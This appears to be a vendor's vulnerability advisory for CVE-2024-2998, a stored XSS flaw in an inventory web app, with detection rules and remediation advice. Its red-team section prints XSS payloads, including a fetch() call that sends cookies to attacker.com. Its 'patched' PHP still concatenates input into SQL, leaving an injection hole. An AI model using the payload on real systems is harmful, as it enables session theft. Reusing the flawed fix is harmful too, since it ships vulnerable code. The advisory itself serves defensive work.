CVE-2024-2998
Executive Summary
CVE-2024-2998 is a stored Cross-Site Scripting (XSS) vulnerability in the Bdtask Multi-Store Inventory Management System, affecting versions up to 20240320. The flaw resides in the Store Update Page, where the Store Name and Store Address fields are not properly sanitized before being stored and later rendered in the application. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code, which will execute in the context of any user viewing the affected store details. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The CVSS score is 2.4 (Low), reflecting the high privileges required and the need for user interaction, but the risk is elevated in multi-tenant or shared-admin environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a custom PHP/MySQL web application. No supply chain attack vector is identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
- Base Score: 2.4 (Low)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): High – The attacker must be authenticated as an administrator.
- User Interaction (UI): Required – The victim must visit the affected store page.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): None – No direct data exfiltration.
- Integrity (I): Low – The injected script can modify content or perform actions on behalf of the victim.
- Availability (A): None – No denial of service.
Threat Level: Low (due to high privilege requirement), but the public availability of the exploit increases the risk in environments where admin accounts are shared or weak.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79). The application’s Store Update Page accepts input for Store Name and Store Address fields. These inputs are stored in the database without proper sanitization or output encoding. When any user (including other admins or lower-privileged users) views the store details page, the stored data is rendered directly into the HTML without escaping, allowing the injected script to execute.
Attack Flow:
- Attacker logs in as an admin.
- Navigates to the Store Update Page.
- Injects a payload like
<script>alert('XSS')</script>into theStore Namefield. - Submits the form.
- When another admin or user visits the store details page, the script executes in their browser.
Why it matters: Even though the CVSS score is low, in a multi-store environment, a compromised admin account could use this to steal session cookies, deface pages, or perform phishing attacks against other admins.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (PHP/HTML):
// store_update.php (conceptual)
$store_name = $_POST['store_name'];
$sql = "UPDATE stores SET name='$store_name' WHERE id=$store_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<h1>" . $store_name . "</h1>";
Patched Code (Conceptual):
// store_update.php (patched)
$store_name = htmlspecialchars($_POST['store_name'], ENT_QUOTES, 'UTF-8');
$sql = "UPDATE stores SET name='$store_name' WHERE id=$store_id";
mysqli_query($conn, $sql);
// When displaying:
echo "<h1>" . $store_name . "</h1>";
The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Admin credentials to the Bdtask Multi-Store Inventory Management System.
- Access to the Store Update Page (e.g.,
/store_update.php?id=X).
Exploit Steps:
- Log in as an admin.
- Navigate to the Store Update Page for a target store.
- Inject the following payload into the
Store Namefield:<script>alert(document.cookie)</script> - Submit the form.
- Any user visiting the store details page will see an alert with their cookies.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Note: No public exploit-db code or nuclei template is available for this CVE.
Blue Team (Defensive)
Detection:
- Monitor for unusual characters in
Store NameandStore Addressfields (e.g.,<,>,script). - Review web server logs for POST requests to
/store_update.phpcontaining HTML tags. - Use a WAF to block XSS payloads in form fields.
Hunting:
- Query the database for stored XSS patterns:
SELECT * FROM stores WHERE name LIKE '%<script>%' OR address LIKE '%<script>%';
Lab Setup:
- Download the vulnerable version from the vendor’s site (if still available) or use a Docker image.
- Install on a local server (XAMPP, LAMP).
- Create an admin account and a test store.
- Perform the exploit steps above.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/store_update.phpwithstore_nameorstore_addresscontaining<script>tags. - Outbound HTTP requests to attacker-controlled domains from the application server (if payload exfiltrates data).
- POST requests to
Host:
- Database entries in the
storestable wherenameoraddressfields contain HTML/JavaScript. - Web server logs showing
alert,fetch, orXMLHttpRequestin POST parameters.
- Database entries in the
File:
- No file-based IOCs; the attack is purely data-driven.
Detection Engineering
YARA Rule
rule CVE_2024_2998_XSS_StoreName {
meta:
description = "Detects stored XSS payloads in Bdtask Multi-Store Inventory Management System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2998"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-2998 Stored XSS in Bdtask Multi-Store Inventory
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to store_update.php with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/store_update.php'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in store names (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-2998 Stored XSS in Bdtask Multi-Store Inventory";
flow:to_server,established;
content:"POST"; http_method;
content:"/store_update.php"; http_uri;
content:"store_name"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-2998;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Input Sanitization: Apply
htmlspecialchars()or equivalent to all user inputs before storing in the database. - Output Encoding: Ensure all stored data is HTML-encoded when rendered.
- WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.
- Access Control: Restrict admin account usage; enforce strong passwords and MFA.
Long-Term Fix:
- Since the vendor is unresponsive, consider migrating to an alternative inventory management system.
- If you must continue using this software, implement a reverse proxy with XSS filtering (e.g., NAXSI).
Workaround:
- Manually edit the PHP files to add
htmlspecialchars()around$store_nameand$store_addressin the display logic.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.